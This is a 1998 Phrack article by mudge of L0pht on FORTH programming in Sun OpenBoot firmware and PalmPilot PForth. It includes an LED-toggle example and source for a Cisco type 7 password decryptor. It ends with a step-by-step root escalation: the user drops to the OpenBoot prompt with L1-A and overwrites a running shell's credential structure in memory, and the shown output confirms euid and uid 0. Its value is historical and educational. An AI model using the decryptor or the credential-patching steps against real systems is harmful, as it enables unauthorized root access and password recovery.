home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Phrack / Phrack Issue 53.sit / 53 / P53-09 < prev    next >
Text File  |  1998-07-08  |  13KB  |  380 lines

  1. ---[  Phrack Magazine   Volume 8, Issue 53 July 8, 1998, article 09 of 15
  2.  
  3.  
  4. -------------------------[  FORTH Hacking on Sparc Hardware
  5.  
  6.  
  7. --------[  mudge <mudge@l0pht.com>
  8.  
  9.  
  10.                          L0pht Heavy Industries
  11.                         [ http://www.L0pht.com ]
  12.                                presents
  13.  
  14.                     FORTH Hacking on Sparc Hardware
  15.                             mudge@l0pht.com
  16.  
  17.  
  18. [Disclaimer - you can really mess up your system by mucking about with
  19.  the information below if done incorrectly. Neither The L0pht, nor
  20.  the author, take any accountability for mis-use of this information.
  21.  Caution: Contents under pressure! ]
  22.  
  23. So here it is, about 12:45am on a Monday morning.  SpaceRogue from the l0pht
  24. just finished kicking my ass at darts the entire night although I managed to
  25. enjoy myself anyway due to a plethora of Guinness.  Route has been breathing
  26. down my neck for an article for PHRACK and since the one I proposed to him
  27. last time we both deemed as completely morally irresponsible (after all, we
  28. like it that the Internet works on a _somewhat_ consistent basis), I find
  29. myself dredging up bizarre tricks and knickknacks that I've been playing with.
  30.  
  31. FORTH.  Well, I could say it's the wave of the future but is has been around
  32. a long time and doesn't seem to be gaining tremendous popularity.  However, it
  33. turns out that it is an incredibly interesting programming language that,
  34. whether you know it or not, plays a very key roll in some of our favorite
  35. hardware.  Sun Microsystems uses forth for their OpenBoot implementation.
  36. What this means is that when you power on anything from an old Sun 3/60 that
  37. is based off of the Motorola 680X0 to an UltraSparc Server based off of the
  38. UltraSparc 64 bit processor, the hardware and initial bootstrapping code is
  39. handled by a FORTH interpreter.
  40.  
  41. For a long time it was infrequent that a hacker would actually be able to lay
  42. their hands, legitimately, on a piece of Sun hardware and play with the
  43. OpenBoot prom.  Nowadays I have watched companies throw out older Sun 2's,
  44. Sun 3's and even Sparc ELC and IPC's in large quantities.  Frequenting your
  45. local Ham Radio or Tech flea markets can usually yield an older Sun system for
  46. extremely short cash.  Then again, if you work around them you have "free"
  47. access to play with the hardware and sometimes that's what the game is all
  48. about.
  49.  
  50. As it turns out I happen to have a Sparc at home, at the l0pht, and at work.
  51. The first two were trash picked and the third is just due to the fact that
  52. I stopped flipping burgers and decided to make the same amount of money
  53. doing something I'm more interested in (grin).  Yes, there are plenty of holes
  54. still around in Solaris, SunOS, and the other operating systems that run on
  55. the Sparc architecture (such as NeXTSTEP and the *BSD's) but it's always fun
  56. to see how the system starts up as almost nobody seems to think about security
  57. at that point.  In this article we will start by writing a simple program to
  58. turn the LED light on the hardware on and off.  We will then write a cisco
  59. type 7 password decryptor for Pforth - which is a FORTH interpreter written
  60. for the 3Com PalmPilot PDA.  At that point I will show how to change the
  61. credential structure of a running process to 0 (root).
  62.  
  63. FORTH is a very simple, yet powerful language.  It is tremendously small and
  64. compact which lends it extremely well to embedded systems.  This is one of the
  65. main reasons that the bootstrapping of hardware and software on Suns is done
  66. in FORTH.  If you have ever used a scientific, or often referred to as "Reverse
  67. Polish Notation", calculator then you understand the stack based premise
  68. behind FORTH.
  69.  
  70. [elapsed time 1.5 weeks]
  71.  
  72. EEEKS!  So I'm rummaging through some of my files and find that I've been
  73. neglect in my duties of finishing this article...  One moment, one more glass
  74. of port (it's always good to move on to port after a few beers...).  Ahh. Ok,
  75. on to some basic Forth examples to get everybody in the right mindset. Let's
  76. try the old standard of 2+3.
  77.  
  78. In stack based notation this is expressed as 2 3 +.  Think of every element
  79. being pushed onto the stack and then operands dealing with the top layers in
  80. reverse order.  Thus, 2 pushes the number 2 on the stack, 3 pushes the number
  81. 3 on the stack, and + says take the top two numbers off of the stack and
  82. push the result on to the stack in their place [diagram 1].
  83.  
  84. [diagram 1]
  85.  
  86.      2    3   +
  87.  
  88.    ---   ---   ---
  89.   | 2 | | 3 | | 5 |
  90.    ---  |---|  ---
  91.         | 2 |
  92.          ---
  93.  
  94. [note: to pop the top of the stack and display it on the screen type '.']
  95.  
  96.  
  97. Simple?  You bet.  Try it out on your favorite piece of Sun hardware.  L1-A
  98. (the L1 key might be labeled 'Stop') give the following a shot:
  99.  
  100. <++> EX/4th/blink.4
  101. ok :light-on
  102.      1 aux@ or aux! ;
  103. ok :light-off
  104.      1 invert aux@ and aux! ;
  105. ok
  106. <-->
  107.  
  108. Now when you type light-on, the led on the front of the Sparc turns on.
  109. Conversely, light-off turns the led off.  On installations with OpenBoot 3.x
  110. I believe this is a built in FORTH word as led-on and led-off.  Older versions
  111. of OpenBoot don't have this built in word - but now you can add it.
  112.  
  113. Here's what all of the above actually means -
  114.    :light-on  - this marks the beginning of a new word definition which ends
  115.                 when a semi-colon is seen.
  116.    1          - pushes 1 on the stack.
  117.    aux@       - takes the value stored in the aux register and pushes it
  118.                 onto the stack.
  119.    or         - takes the top two values from the stack, OR's them and leaves
  120.                 the result in their place.
  121.    aux!       - takes the value on the top of the stack and writes it to the
  122.                 aux register.
  123.    ;          - ends the word definition.
  124.  
  125.    :light-off - this marks the beginning of a new word definition which ends
  126.                 when a semi-colon is seen.
  127.    1          - pushes 1 on the stack.
  128.    invert     - inverts the bits or the value on the top of the stack
  129.    aux@       - takes the value stored in the aux register and pushes it
  130.                 onto the stack.
  131.    and        - takes the top two values from the stack, AND's them and leaves
  132.                 the result in their place.
  133.    aux!       - takes the value on the top of the stack and writes it to the
  134.                 aux register.
  135.    ;          - ends the word definition.
  136.  
  137.  [note - you can see the disassembly of the led-on / led-off words, if they
  138.          are in your openboot with ' ok led-on (see)' ]
  139.  
  140. ----
  141.  
  142. The PalmPilot is a rockin' little PDA based off of the Motorola 68328
  143. (DragonBall) processor.  At the L0pht we all went out and picked up PalmPilots
  144. as soon as we saw all of the wonderful unused features of the Motorola
  145. processor in it.  Ahhhh, taking us back to similar feelings of messing about in
  146. the 6502.
  147.  
  148. PForth is a bit different from the OpenBoot forth implementation in some minor
  149. ways - most notably in the default input bases and how words such as 'abort'
  150. are handled.  I figured a little app for the Pilot in FORTH might help people
  151. see the usefulness of the language on other devices than the Sun firmware.
  152. The porting of this to work in an OpenBoot environment is left as an exercise
  153. to the reader.
  154.  
  155. The cisco type 7 password decryptor is a bit more complex than the led-on /
  156. light-on example above [see the book references at the end of this article for
  157. a much more thorough explanation of the FORTH language].
  158.  
  159. --begin cisco decryptor--
  160. <++> EX/4th/cisco_decryptor.4
  161. \ cisco-decrypt
  162.  
  163. include string
  164. ( argh! We cannot _create_ the )
  165. ( constant array as P4th dies )
  166. ( around the 12th byte - )
  167. ( thus the ugliness of setting it )
  168. ( up in :main   .mudge)
  169.  
  170. variable ciscofoo 40 allot
  171. variable encpw 60 allot
  172. variable decpw 60 allot
  173. variable strlen
  174. variable seed
  175. variable holder
  176.  
  177. :toupper ( char -- char )
  178.  dup dup 96 > rot 123 < and if
  179.  32 -
  180.  then ;
  181.  
  182. :ishexdigit ( char -- f )
  183.  dup dup 47 > rot 58 < and if
  184.   drop - 1
  185.  else
  186.   dup dup 64 > 71 < and if
  187.   drop - 1
  188.  else
  189.   drop 0 then then ;
  190.  
  191. :chartonum ( char -- i )
  192.  toupper
  193.  dup ishexdigit 0= if
  194.   abort" contains invalid char "
  195.  then
  196.  dup
  197.  58 < if
  198.   48 -
  199.  else
  200.   55 -
  201.  then ;
  202.  
  203. :main
  204. 100 ciscofoo 0 + C!
  205. 115 ciscofoo 1 + C!
  206. 102 ciscofoo 2 + C!
  207. 100 ciscofoo 3 + C!
  208. 59 ciscofoo 4 + C!
  209. 107 ciscofoo 5 + C!
  210. 115 ciscofoo 6 + C!
  211. 111 ciscofoo 7 + C!
  212. 65 ciscofoo 8 + C!
  213. 44 ciscofoo 9 + C!
  214. 46 ciscofoo 10 + C!
  215. 105 ciscofoo 11 + C!
  216. 121 ciscofoo 12 + C!
  217. 101 ciscofoo 13 + C!
  218. 119 ciscofoo 14 + C!
  219. 114 ciscofoo 15 + C!
  220. 107 ciscofoo 16 + C!
  221. 108 ciscofoo 17 + C!
  222. 100 ciscofoo 18 + C!
  223. 74 ciscofoo 19 + C!
  224. 75 ciscofoo 20 + C!
  225. 68 ciscofoo 21 + C!
  226.  
  227. 32 word count (addr + 1, strlen )
  228. strlen!
  229.  
  230. encpw strlen @ cmove> drop
  231.  
  232. cr
  233.  
  234. ( make sure the string is > 3 chars )
  235. strlen @ 4 < if abort" short input"
  236. then
  237.  
  238. strlen @ 2 mod ( valid encpw's )
  239. ( must have even number of chars )
  240. 0= 0= if abort" odd input" then
  241.  
  242. encpw C@ 48 - 10 *
  243. encpw 1 + C@ 48 - + seed!
  244.  
  245. seed @ 15 > if abort" incalid seed"
  246. then
  247.  
  248. 0 holder !
  249.  
  250. strlen @ 1 + 2 do
  251.  i 2 = 0= i 2 mod 0= and if
  252.   holder @ ciscofoo seed @ + C@ xor
  253.   emit
  254.   seed @ 1 + seed !
  255.   0 holder !
  256.   i strlen @ = if
  257.    cr quit then
  258.   then
  259.  
  260.   i 2 mod 0= if
  261.   encpw i + C@ chartonum 16 *
  262.   holder !
  263.  else
  264.   encpw i + C@ chartonum holder @ +
  265.   holder !
  266.  then
  267.  
  268. loop ;
  269. <-->
  270.  
  271. --end cisco decryptor--
  272.  
  273. Ok - after that brief little excursion we return to the Sparc hardware.
  274.  
  275. So, how can this information be used from a more traditional hacking
  276. standpoint?  Let's say you are sitting in front of a nice system running
  277. Solaris but for whatever reason you only have an unprivileged account.  Since
  278. there is not any setup in the hardware to delineate different users and their
  279. ability to access memory (well, not in the way you think about it inside of
  280. Unix processes) you really have free roam of the system.
  281.  
  282. Each process is allocated a structure defining various aspects about itself.
  283. This is needed when processes are swapped out and in to memory.  As a regular
  284. user you really aren't allowed to muck about in this structure but a quick
  285. L1-A will get us around all of that. Peeking into /usr/include/sys/proc.h
  286. shows that what we are really after is the process credentials structure.
  287. This is located after a pointer to a vnode, a pointer to the process address
  288. space, and two mutex locks.  At that point there is a pointer to a cred struct
  289. which has the process credentials.  Inside the process credentials structure
  290. you find :
  291.  
  292.      reference count     (long)
  293.      effective user id   (short)
  294.      effective group id  (short)
  295.      real user id        (short)
  296.      real group id       (short)
  297.      "saved" user id     (short)
  298.      "saved" group id    (short)
  299.      etc...
  300.  
  301. Eyes lighting up yet?  All of these variables are accessible when you are at
  302. the command prompt.  The first thing that you need to figure out is the start
  303. of the proc structure for a given process ID (PID).  Let's assume I have a
  304. shell running (tcsh in this case).  In tcsh and csh the PID of the shell is
  305. stored in $$.
  306.  
  307.     Alliant+ ps -eaff | grep $$
  308.     mudge   914   913  1 15:29:31 pts/5    0:01 tcsh
  309.  
  310. Sure enough, that's my tcsh. Now simply use ps to find the beginning of
  311. the proc structure:
  312.  
  313.     Alliant+ ps -lp $$
  314.     F S   UID   PID  PPID  C PRI NI     ADDR     SZ    WCHAN TTY      TIME CMD
  315.     8 S   777   914   913  0  51 20 f5e09000    436 f5e091d0 pts/5    0:01 tcsh
  316.  
  317. You can find the layout of your proc structure in /usr/include/sys/proc.h.
  318. From this it is apparent that the pointer to the credential structure is
  319. located 24 bytes into the proc struct. In the above example that means the
  320. pointer is at 0xf5e09000 + 0x18 or 0xf5e09018.  The credential struct is
  321. listed in /usr/include/sys/cred.h.  From this we note that the effective user
  322. id is 4 bytes into the cred structure.
  323.  
  324. Just so you can see that there's nothing hidden up my sleeves -
  325.  
  326.     Alliant+ id
  327.     uid=777(mudge) gid=1(other)
  328.  
  329. Fire up the trusty OpenBoot system via L1-A and get the pointer to the
  330. cred structure via :
  331.  
  332. ok hex f5e09000 18 + l@ .
  333. f5a99858
  334. ok go
  335.  
  336. Now, get the effective user id by
  337. ok hex f5a99858 4 + l@ .
  338. 309   (309 hex == 777 decimal)
  339. ok go
  340.  
  341. Of course you want to change this to 0 (euid root):
  342. ok hex 0 f5a99858 4 + l!
  343. ok go
  344.  
  345. check your credentials!
  346.  
  347. Alliant+ id
  348. uid=777(mudge) gid=1(other) euid=0(root)
  349.  
  350. If you want to change the real user id it would be an offset of 12 (0xc):
  351.  
  352. ok hex 0 f5a99858 c + l!
  353. ok go
  354.  
  355. Alliant+ id
  356. uid=0(root) gid=1(other)
  357.  
  358. Needless to say, there's a whole different world living inside that hardware
  359. in front of you that is begging to be played and fiddled with.  Keep in mind
  360. that you can do serious damage by mucking around in there though.
  361.  
  362. enjoy,
  363.  
  364. mudge@l0pht.com
  365. ---
  366. http://www.l0pht.com
  367. ---
  368.  
  369. Some excellent FORTH books that you should get to learn more about this are:
  370.  
  371.     Starting FORTH, Leo Brodie, Prentice-Hall, Inc. ISBN 0-13-842922-7
  372.     OpenBoot 3.x Command Reference Manual, SunSoft [get from a Sun Reseller]
  373.  
  374.     Pilot FORTH was written by Neal Bridges (nbridges@interlog.com) -
  375.     http://www.interlog.com/~nbridges
  376.  
  377.  
  378. ----[  EOF
  379.  
  380.